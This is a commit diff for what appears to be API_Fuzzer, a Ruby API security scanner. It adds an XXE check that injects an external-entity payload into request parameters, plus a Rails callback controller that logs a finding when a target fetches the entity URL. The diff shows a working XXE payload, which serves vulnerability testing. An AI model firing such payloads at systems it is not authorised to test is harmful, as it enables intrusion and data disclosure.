File tree Expand file tree Collapse file tree 5 files changed +30
-13
lines changed
Expand file tree Collapse file tree 5 files changed +30
-13
lines changed Original file line number Diff line number Diff line change @@ -29,6 +29,7 @@ Gem::Specification.new do |spec|
2929
3030 spec . add_dependency 'http' , '~> 2.0'
3131 spec . add_dependency 'activesupport'
32+ spec . add_dependency 'rails' , '>= 4.2'
3233 spec . add_development_dependency "bundler" , "~> 1.12"
3334 spec . add_development_dependency "rake" , "~> 10.0"
3435 spec . add_development_dependency "minitest" , "~> 5.0"
Original file line number Diff line number Diff line change 11class PingController < ActionController ::Base
22 def index
3- sha = params [ :id ]
4- scan = Scan . find_by_sid ( sha )
5- scan . vulnerabilities . create! (
3+ @scan = Scan . find ( params [ :id ] )
4+ @scan . vulnerabilities . create! (
65 status : 'HIGH' ,
76 class_type : 'Vulnerability' ,
8- description : 'Possible XXE vulnerability in #{scan.url}' ,
9- value : params [ :body ]
10- ) if scan
11- render :ok
7+ description : 'Possible XXE vulnerability in #{@scan.url}' ,
8+ value : body
9+ ) if @scan
10+ render json : { status : :ok }
11+ end
12+
13+ private
14+
15+ def body
16+ @scan . parameters . gsub ( /\> \s *[a-zA-Z0-9]*\s *\< \/ / , '>&xxe;<' )
1217 end
1318end
Original file line number Diff line number Diff line change 66require 'API_Fuzzer/xss_check'
77require 'API_Fuzzer/request'
88require 'API_Fuzzer/engine'
9+ require 'API_Fuzzer/xxe_check'
910
1011module API_Fuzzer
1112 # Scans all the checks
Original file line number Diff line number Diff line change 1+ require 'rails'
2+
13module API_Fuzzer
24 class Engine < ::Rails ::Engine ; end
3- end
5+ end
Original file line number Diff line number Diff line change 11require 'API_Fuzzer/vulnerability'
22require 'API_Fuzzer/error'
33require 'API_Fuzzer/request'
4- require 'byebug'
54
65module API_Fuzzer
76 class XxeCheck
87
98 def self . scan ( options = { } )
109 @url = options [ :url ] || nil
11- @params = options [ :params ] || ''
10+ @params = options [ :params ]
1211 @scan_hash = options [ :scan ]
1312 fuzz_xml_params
1413 end
1514
15+ private
16+
1617 def self . fuzz_xml_params
1718 return unless @params
18- body = @params . gsub ( /\> \s *[a-zA-Z0-9]*\s *\< \/ / , '>&xxe;<' )
19+ body = params_serialize . gsub ( /\> \s *[a-zA-Z0-9]*\s *\< \/ / , '>&xxe;<' )
1920 payload = <<-XXEPAYLOAD
2021<?xml version="1.0" encoding="ISO-8859-1"?>
2122<!DOCTYPE foo [
2223<!ELEMENT foo ANY >
23- <!ENTITY xxe SYSTEM "http://127.0.0.1:3000/yoxxe " >]>
24+ <!ENTITY xxe SYSTEM "http://127.0.0.1:3000/ping/ #{ @scan_hash } " >]>
2425 XXEPAYLOAD
2526 payload << body
26-
2727 API_Fuzzer ::Request . send_api_request (
2828 url : @url ,
2929 params : payload ,
3030 body : true ,
3131 method : :post
3232 )
3333 end
34+
35+ def self . params_serialize
36+ body = [ ]
37+ @params . keys . each do |key , value |
38+ body << "#{ key } =#{ value } "
39+ end
40+ body . join ( '&' )
41+ end
3442 end
3543end
You can’t perform that action at this time.
0 commit comments